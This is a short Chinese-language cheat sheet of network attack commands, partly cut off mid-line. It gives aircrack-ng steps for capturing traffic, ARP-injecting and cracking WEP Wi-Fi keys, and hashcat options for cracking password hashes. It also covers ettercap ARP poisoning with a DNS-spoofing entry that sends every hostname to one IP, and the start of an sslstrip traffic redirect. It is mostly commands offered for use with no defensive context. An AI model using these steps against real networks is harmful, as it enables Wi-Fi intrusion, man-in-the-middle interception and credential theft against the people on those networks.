1、激活无线网卡至monitor即监听模式 airmon-ng start wlan0 2、探测无线网络，抓取无线数据包 airodump-ng mon0 airodump-ng --ivs（默认为cap） –w 保存的文件名 -c 6（信道） wlan0mon 3、对目标AP使用ArpRequest注入攻击 aireplay-ng -3 -b AP的mac -h 客户端的mac wlan0mon 4、打开aircrack-ng，开始破解WEP aircrack-ng 捕获的ivs文件
官方网站：https://hashcat.net/hashcat/
这里以windows为利使用hashcat4.1.0
https://hashcat.net/wiki/doku.php?id=example_hashes //hashcat 示例hash
比较重要的参数：
hashcat64.exe --help //查看帮助文档 -m (--hash-type=NUM) //要破解hash的种类，用--help找到对应的数字。 -a (--attack-mode=NUM) //破解的模式 -o //保存破解后密码的位置 -D 1/[......]
apt-get install ettercap-graphical 开启图形化界面 Mitm-> ARP poisoning -> sniff remote connection 中间人欺骗 /etc/ettercap/etter.dns * A 138.128.222.137 * PTR 138.128.222.137 Plugins -> dns_spoof DNS欺骗
sslstrip 端口转发，把80端口的数据库都抓发到10000 iptables -t nat -A PREROUTING -p tc[......]
